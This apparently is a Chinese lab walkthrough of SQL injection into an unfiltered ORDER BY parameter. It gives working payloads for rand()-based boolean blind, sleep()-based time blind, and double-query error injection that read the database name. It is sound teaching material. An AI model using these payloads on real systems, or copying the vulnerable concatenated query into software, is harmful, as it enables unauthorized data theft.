1. 题目分析
先看一下源码中的SQL
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
需要注意的是,此处我们输入的参数应该是?sort=xxx
,并且后台没有对这个参数进行过滤。
但是和以往不同的是,我们的注入位置不再是WHERE后面,而是在ORDER BY之后。
目前有2中注入思路:
- 利用rand()实现布尔盲注
- 时间盲注
- 双注入
2. 注入过程
2.1 利用rand()实现布尔盲注
通过输入?sort=1 and 1=2
和?sort=1 and 1=1
,发现页面的数据是没有变化的。
这是因为在order by
语句后面直接添加and
等逻辑判断,会使得order by
语句失效。(原理尚不清楚)
但是,可以利用rand()
来实现bool注入。通过实践我们可以发现
select * from users order by rand(True/False);
以上语句中True
和False
的返回结果是不同的。
可以看到返回的顺序是不同的。
True: 11 5 4 3…
False: 1 7 4 12…
那么,我们就可以在rand()
里面构造payload
。
比如,看一下当前所使用的数据库名字:
由?sort=rand(ascii(substr(database(),1,1))=115)
可以判断出当前数据库的名字的第一个字母是s
。
2.2 时间盲注
时间盲注的思路,相比于布尔盲注较为简单。
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(0.5),1)
利用上面语句,会发现有网页返回有明显的延迟,因此可以判断出第一个字母为s
。
2.3 双注入
?sort=(select count(*) from information_schema.schemata group by concat(0x7e,(select database()),floor(rand(0)*2)))
关于双注入的原理之前也有说过。